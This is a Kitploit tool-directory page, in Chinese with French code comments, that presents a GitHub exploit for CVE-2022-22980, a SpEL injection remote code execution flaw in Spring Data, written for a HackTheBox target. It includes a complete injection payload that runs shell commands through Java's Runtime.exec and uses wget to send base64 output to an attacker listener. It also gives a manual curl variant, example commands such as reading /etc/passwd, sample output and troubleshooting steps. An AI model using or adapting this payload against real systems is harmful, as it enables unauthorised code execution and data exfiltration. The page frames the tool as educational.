Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22980 — CVE-2022-22980 漏洞利用 | Kitploit
工具/GitHubGitHub/eliasdekiniweek/cve-2022-22980
Payload生成漏洞利用Web应用程序漏洞利用CTF命令与控制学习与教育
GitHubeliasdekiniweek/cve-2022-22980

CVE-2022-22980

CVE-2022-22980 漏洞利用

查看仓库
136个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

SpEL RCE Exploit - CVE-2022-22980

针对 Spring Data 的 SpEL 注入远程代码执行(RCE)漏洞利用工具。

描述

漏洞

该靶机暴露了一个 /search 端点,其接受参数 tracking_id,该参数存在 SpEL 注入漏洞。此注入允许直接在服务器上执行恶意的 Java 表达式。

利用原理

  1. 注入一个 SpEL 表达式,通过 Runtime.getRuntime().exec() 执行 shell 命令
  2. 将命令的输出以 base64 编码
  3. 通过 HTTP GET 请求将结果外带至受控的监听器
  4. 解码并显示结果

使用方法

先决条件

  • Python 3.x 及标准模块(http.server, subprocess, threading, base64)
  • curl 安装在你的本地机器上
  • wget 安装在目标机器上(用于外带数据)
  • 80 端口可用(或修改脚本中的 LPORT)
  • 可访问目标的网络连接

配置

根据你的环境修改脚本中的参数:

root@kitploit:~
TARGET = "http://<IP_CIBLE>:8080/search"   # URL de la cible
LHOST = "<VOTRE_IP>"                        # IP locale (tun0 pour HTB)
LPORT = 80                                  # Port d'écoute

执行

root@kitploit:~
# Commande simple
python3 spel_shell.py "whoami"

# Commande avec pipe
python3 spel_shell.py "cat /etc/passwd"

# Énumération système
python3 spel_shell.py "uname -a"

# Vérifier l'accès réseau
python3 spel_shell.py "curl -s http://httpbin.org/get"

输出示例

root@kitploit:~
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==

[+] Command output:

root

手动 Payload(参考)

如果你想在不使用脚本的情况下测试 payload:

root@kitploit:~
# Terminal 1 : Démarrer le listener
python3 -m http.server 80

# Terminal 2 : Envoyer la payload
curl -X POST \
  -d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
  http://<IP_CIBLE>:8080/search

故障排除

错误:"Address already in use"

端口 80 已被占用。解决方案:

root@kitploit:~
# Vérifier quel processus utilise le port
sudo netstat -tlnp | grep :80

# Arrêter Apache si actif
sudo systemctl stop apache2

# Ou utiliser un autre port
# Modifiez LPORT dans le script et testez

无响应("No response received")

  1. 检查网络连通性:确保目标能够访问你的 LHOST:LPORT
  2. 用简单的命令测试:python3 spel_shell.py "echo test"
  3. 检查端口权限:在 Linux 上,80 端口需要 sudo
  4. 检查 LHOST IP:使用 ifconfig(HTB 用 tun0),不要使用 127.0.0.1

base64 解码错误

如果你看到 "Raw data received" 而不是 "Command output",说明命令可能没有产生有效的输出。请尝试执行一条总会产生输出的命令。

脚本架构

root@kitploit:~
1. start_server() - Lance un serveur HTTP sur le port 80
                   ↓
2. Envoie la payload SpEL via curl vers la cible
                   ↓
3. La cible exécute la commande et encode le résultat en base64
                   ↓
4. wget envoie le résultat vers le listener (GET http://LHOST:LPORT/<data>)
                   ↓
5. Le Handler reçoit la data et la stocke
                   ↓
6. Le script décode et affiche le résultat

免责声明

此脚本仅供教学用途,适用于 HackTheBox 靶机。请仅在你有权测试的环境中使用。


作者 : Eliasdekiniweek 日期 : 2026年2月
语言 : Python 3

下载工具